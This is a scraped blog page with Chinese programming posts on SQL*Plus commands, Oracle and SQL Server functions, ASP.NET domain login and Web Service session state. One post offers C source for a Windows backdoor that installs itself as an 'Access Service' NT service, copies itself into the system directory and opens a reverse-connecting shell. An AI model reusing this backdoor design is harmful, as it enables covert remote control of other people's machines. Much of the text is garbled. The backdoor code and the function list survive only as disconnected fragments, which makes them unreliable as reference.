| Program_Worker님의 프로필Microsoft Beta Home사진블로그리스트 | 도움말 |
|
|
8월 15일 SQL*PLUS 常用命令列表run 执行当前缓冲区的命令
/ 执行当前缓冲区的命令 r 执行当前缓冲区的命令 @文件名 运行调入内存的sql文件,如: SQL> edit s<回车>
如果当前目录下不存在s.sql文件,则系统自动生成s.sql文件, 在其中输入“select * from tab;”,存盘退出。 SQL> @s<回车>
系统会自动查询当前用户下的所有表、视图、同义词。 @@文件名 在.sql文件中调用令一个.sql文件时使用
save 文件名 将缓冲区的命令以文件方式存盘,缺省文件扩展名为.sql
get 文件名 调入存盘的sql文件 start 文件名 运行调入内存的sql文件 spool 文件名 把这之后的各种操作及执行结果“假脱机”即存盘到磁盘文件上,默认文件扩展名为.lst
spool 显示当前的“假脱机”状态 spool off 停止输出 例:
SQL> spool a SQL> spool 正假脱机到 A.LST SQL> spool off SQL> spool 当前无假脱机 exit 退出SQL*PLUS desc 表名 显示表的结构 show user 显示当前连接用户 show error 显示错误 show all 显示所有68个系统变量值 edit 打开默认编辑器,Windows系统中默认是notepad.exe,把缓冲区中最后一条SQL语句调入afiedt.buf文件中进行编辑 edit 文件名 把当前目录中指定的.sql文件调入编辑器进行编辑 clear screen 清空当前屏幕显示 Oracle 与 SqlServer 函数对比 1.绝对值 3.取整(小) 4.取整(截取) 5.四舍五入 6.e为底的幂 7.取e为底的对数 8.取10为底对数 9.取平方 10.取平方根 11.求任意数为底的幂 12.取随机数 13.取符号 14.圆周率 15.sin,cos,tan 参数都以弧度为单位 16.Asin,Acos,Atan,Atan2 返回弧度 17.弧度角度互换(SQLServer,Oracle不知道) ---------数值间比较 18. 求集合最大值 O:select greatest(1,-2,4,3) value from dual 19. 求集合最小值 O:select least(1,-2,4,3) value from dual 20.如何处理null值(F2中的null以10代替) --------数值间比较 21.求字符序号 22.从序号求字符 23.连接 23.子串位置 --返回3 23.模糊子串的位置 --返回2,参数去掉中间%则返回7 24.求子串 25.子串代替 返回aijklmnef 26.子串全部替换 27.长度 28.大小写转换 lower,upper 29.单词首字母大写 30.左补空格(LPAD的第一个参数为空格则同space函数) 31.右补空格(RPAD的第一个参数为空格则同space函数) 32.删除空格 33. 重复字符串 34.发音相似性比较(这两个单词返回值一样,发音相同) --------------日期函数 35.系统时间 36.前后几日 37.求日期 38.求时间 39.取日期时间的其他部分 参数---------------------------------下表需要补充 40.当月最后一天 41.本星期的某一天(比如星期日) 42.字符串转时间 43.求两日期某一部分的差(比如秒) 44.根据差值求新的日期(比如分钟) 45.求不同时区时间 -----时区参数,北京在东8区应该是Ydt-------
5월 13일 CMD下反向连接的基于NTService的后门头一次把后门写成服务,还有很多不足,请大家指正。VS.Net2003下编译通过。 #include "stdafx.h" char *SERVICE_NAME = "Access Service"; void BShell (void);
BOOL SendStatusToSCM (DWORD dwCurrentState, DWORD dwWin32ExitCode, DWORD dwServiceSpecificExitCode,DWORD dwCheckPoint,DWORD dwWaitHint) serviceStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS; if (dwCurrentState == SERVICE_START_PENDING) if (dwServiceSpecificExitCode == 0) serviceStatus.dwServiceSpecificExitCode = dwServiceSpecificExitCode; success = SetServiceStatus (serviceStatusHandle, &serviceStatus); DWORD ServiceThread(LPDWORD param) BOOL InitService() threadHandle = CreateThread(0, 0,(LPTHREAD_START_ROUTINE) ServiceThread,0, 0, &id); if (threadHandle==0) void Handler (DWORD controlCode) switch(controlCode) case SERVICE_CONTROL_STOP: success = SendStatusToSCM(SERVICE_STOP_PENDING, SetEvent(terminateEvent); case SERVICE_CONTROL_PAUSE: case SERVICE_CONTROL_CONTINUE: case SERVICE_CONTROL_INTERROGATE: case SERVICE_CONTROL_SHUTDOWN: default: void terminate(DWORD error) if (serviceStatusHandle) SendStatusToSCM(SERVICE_STOPPED, error,0, 0, 0); if (threadHandle) CloseHandle(threadHandle); } void ServiceMain(DWORD argc, LPTSTR *argv) serviceStatusHandle = RegisterServiceCtrlHandler(SERVICE_NAME, (LPHANDLER_FUNCTION)Handler); success = SendStatusToSCM(SERVICE_START_PENDING,NO_ERROR, 0, 1, 5000); if (!success) terminateEvent = CreateEvent (0, TRUE, FALSE, 0); if (!terminateEvent) success = SendStatusToSCM(SERVICE_START_PENDING,NO_ERROR, 0, 2, 1000); if (!success) success = SendStatusToSCM(SERVICE_START_PENDING,NO_ERROR, 0, 3, 5000); if (!success) success = InitService(); if (!success) success = SendStatusToSCM(SERVICE_RUNNING,NO_ERROR, 0, 0, 0); if (!success) WaitForSingleObject (terminateEvent, INFINITE); terminate(0); void BShell(void) memset(&sa,0,sizeof(sa)); WSAStartup(MAKEWORD(2,0),&WsaData); sa.sin_family=AF_INET; si.cb=sizeof(si); int InstallSelf() GetSystemDirectory(lpImagePath,MAX_PATH); hSearch=FindFirstFile(lpImagePath,&FileData); } void Begin (void) int APIENTRY _tWinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPTSTR lpCmdLine,int nCmdShow) 4월 10일 ASP.net Application 中使用域用户登录 现在做的一个程序中要求ASP.net 程序可以使用已经存在的域用户来登录(而且为了与其它程序界面一致一定要使用 Forms 登录),查找了一些相关的资料发现还是可以实现的。 using System.Web.Security; [DllImport("advapi32.dll", CharSet=CharSet.Auto)] public const int LOGON32_LOGON_INTERACTIVE = 2; void Login_Click(Object sender, EventArgs E) if(LogonUser(UserName.Value, 4월 9일 VS.NET 2003产品信息 Visual Studio .NET 2003产品信息 功能概述 系统要求 开发工具发展蓝图(2002-2004) 欢迎随意下载随同 Visual Studio .NET 2003 一并奉送的宣传资料。 .NET Framework 1.1 面向Visual Studio .NET 2003的产品信息 4월 8일 Windows管道技术简述不知你是否用过这样的程序,他们本身并没有解压缩的功能,而是调用DOS程序PKZIP完成ZIP包的解压缩。但是在程序运行时又没有DOS控制台的窗口出现而且一切本应该在DOS下显示的信息都出现在了那个安装程序的一个文本框里。这种设计既美观又可以防止少数眼疾手快的用户提前关了你的DOS窗口。 在Web Service中使用ASP.net状态保持有许多聪明的办法可以解决HTTP协议的无状态问题,例如对每个请求重复发送应用程序数据包、使用HTTP认证机制来将请求映射到特定的用户、使用Cookie来存储一系列请求的状态等。在ASP.net技术中提供了一个非常有效的方案来保持状态,该方案隐藏了所有高难度的,具有挑战性的工作的细节,用户只需简单地使用System.Web.SessionState.HttpSessionState类。同时,你也可以像在ASP.net程序地Web页面(.aspx)中一样在Web Service的方法中使用这个类,只有一点小小的不同。 ASP.net的Session对象概述 ASP.net的Session状态信息在根本上通过两个机制保持。其一是使用Cookie。当客户端发送一个请求到服务器端时,服务器将发回一个附加HTTP Set-Cookie头的响应信息,而Cookie的值就是以键/值对的形式保存在该信息里边。在对同一服务器的所有的同步请求中,客户端在HTTP Cookie头中发送Cookie键/值对。然后服务器可以将并发的请求同初始的请求对应起来。ASP.net使用一个保存会话的ID的cookie来保持会话状态。该ID标识被用来为特定的用户找到与其对应的HttpSessionState类的实例。类HttpSessionState仅仅提供了一个通用的数据集,你可以在其中保存你需要的任何信息。 ASP.net用来保持状态的另外一个机制工作时无须使用Cookie。一些浏览器被用户设置为禁止使用cookie或者干脆就不支持Cookie,ASP.net提供了一种机制来解决这个问题,它的主要原理是将一个请求重定向到一个包含ASP.net状态ID的URL。当该请求被接受到时,这个嵌在URL中的ID被截取下来,服务器通过该ID找到合适的HttpSessionState类的实例。这种方式在HTTP协议的使用GET方式的请求中工作的很好,但是在.net的XML Web Service代码中会出现问题。 必须指出的是,有些时候把信息直接存储在Cookie中要比存储在Session中更好。避免使用Session可以节省服务器资源,而且你也无须考虑一些烦人的问题,比如定位一个特定的Session对象、Session对象因为请求的长时间的延迟而被移除或者在服务器上没必要地保留直到过期。然而,如果你有一些包含你不希望与你提供的服务的使用者共享的执行信息,或者有一些你不希望通过未加密的信道传输的私有数据,或者你认为将这些数据插入HTTP协议头中是不切实际的,那么你就应该使用ASP.net中的HttpSessionState,它将使你轻松解决这些问题。HttpSessionState类返回一个索引键,用以将一个特定的用户映射到一个为该用户保存信息的HttpSessionState类的实例。总之,无论是ASP.net的HttpSessionState类还是HTTP的Cookie都可以在ASP.net Web Service中使用。
在SOAP请求中有许多方法来保持状态。一个切实可行的方法就是在SOAP头中包含一些像ASP中的会话ID的信息,然而问题在于你不得不: 使服务器支持Session 在ASP.net中,对Web方法的状态支持默认是关闭的,你必须为每个要使用Session状态的Web方法显式地激活Session支持。激活Session支持的方法是添加一个EnableSession选项到你的函数的WebMethod属性中,并且将其值设置为true。下面的代码演示了如何激活Session并且在方法中访问Session状态信息。 [VB.net] _
假设通过设置web.config文件禁止session,那么即使你在WebMethod属性中使用了EnableSession选项,Context.Session的值也将一直是null。web.config文件中的/configuration/system.web/sessionState项有一个mode参数,它决定了你的ASP.net程序使用何种方法来保持Session状态。该参数默认设置为“InProc”,这时HttpSessionState对象将简单地保存在ASP.net进程的内存区。如果被设置为“Off”,那么ASP.net程序的Session支持就被关闭了。 从服务器端看来,ASP.net的session状态的有效范围仅仅是某一个给定的ASP.net应用程序,这就意味着一个HttpSessionState类的实例只能被一个特定用户向某一个虚拟目录发出的所有Session被激活的ASP.net请求所使用,也就是说,使用同一个会话ID的向其它的虚拟目录的请求将导致ASP.net不能找到对应的session对象——因为会话ID不是为该ASP.net应用程序设定的。ASP.net并不区分对ASPX和ASMX文件的请求,直到该请求需要使用Session对象,因此,理论上你可以在一个Web方法调用和一个普通的ASPX文件之间共享Session状态信息。然而,我们将看到也有些客户端的问题使这个想法变得不那么容易实现。 如果你要处理来自同一个进程的并发的Web Service调用,那么这些请求将在服务器上被排序,从而使得在某一时刻只有一个请求被执行。ASP.net的Web Service不像普通.ASPX页面,支持允许多请求的并发进程的对HttpSessionState对象的只读访问,所有Session被激活的Web方法调用都具有read/write访问的权限,因此必须对之进行排序。 客户端的问题 在你的WebService中成功的使用HttpSessionState的功能事实上依赖于对用户的一些假设。首先,也是最重要的一点,如果你是用默认的HTTP Cookie模式来保存Session状态,你的客户端就必须支持cookie;如果你是用无cookie的机制来支持Session,那么你的客户端必须能够并且愿意重定向到一个新的URL,该URL由原来的URL中插入会话ID而得到。结果将表明,这并不是一个无足轻重的问题,它关系到你能否成功地部署你的程序。 所有工作都依赖于浏览器 如果你是用Microsoft Visual Studio.net来开发ASP.net Web Service应用程序,那么默认的调试方法就是打开IE访问你的.asmx文件。通常,系统将提供一个可以调用你的Web方法的友好的界面,这是一个调试你的Web Service代码的很好的途径。如果你已经将Web方法的EnableSession选项设置为true,它被非常漂亮地支持,甚至如果你打开了无cookie的Session支持,客户端浏览器也可以完美地完成这项工作,你的Session对象将如你所愿地工作。 然而,大多数的Web Service请求不是来自浏览器,而是来自应用程序中的Web引用。我们如何使用.net框架的“添加Web引用”的特性呢?让我们来看一看。 添加Web引用的问题 我将使用我们前面看到的代码段来创建一个简单的XML Web Service。记起来了吧?这个Web方法被称作IncrementSessionCounter,它仅仅是简单地把一个整数存储在HttpSessionState对象中,然后每次调用则将它加1,并且返回当前值。从客户端浏览器我们可以看到这个数字的值随着调用次数的增加而增加。 ' 这里并没有与Session打交道 当我第一次调用Web Service时,一切正常,Web方法返回1,这就是那个Session变量的应有的初始值。现在我点击Button1来再次调用这个Web方法,我希望看到的返回值是2。可惜的是,无论我点击多少次Button1,返回值一直都是1。 你也许会怀疑原因就是我每次都创建了一个新的proxy类的实例去调用Web方法,因此每次我点击按钮,都会丢失上一次调用时的cookie。不幸的是,即使你将proxy类的初始化代码移到窗体的构造函数中,然后对每次Web方法调用使用同一个proxy类的实例,你还是不可能看到返回值有增加的迹象。
' 使用了ASP.NET的session Private Sub Button1_Click(ByVal sender As System.Object, _ 现在代码工作正常了!每点击一次Button1,我都可以看到返回值增加1。注意到我并不是在函数中声明变量Cookies的,它是窗体类的一个私有成员,因为如果希望每次都返回同一个会话ID给服务器的话,就必须在每次请求中使用CookieContainer类的同一个实例。这就解释了为什么SoapHttpClientProtocol类默认不自动地设置的cookie容器。正应为此,你可以在多个SoapHttpClientProtocol类的实例中共享一个cookie容器,而不是为其每个实例自动地创建一个新的cookie容器。 无cookie的Session 从Web Service的开发者的角度来看,你可以想到相当多的人在试图使用你的Web服务时忘记在客户端代理类中添加Cookie容器。聪明的开发者或许灵光一闪,就会发现无cookie的Session应该可以出色地解决这个问题。如果将web.config文件中sessionState元素的cookieless参数设置为“true”,你将会发现,通过浏览器界面调用Web方法时,session变量工作正常,但是如果你在Visual Studio.net中通过“添加Web引用”来调用它时,依然存在着一些问题。 4월 6일 [下载] VS2003开发指南文档----中文下载链接来自微软高级应用开发俱乐部知识库: 目录 3 |
|
|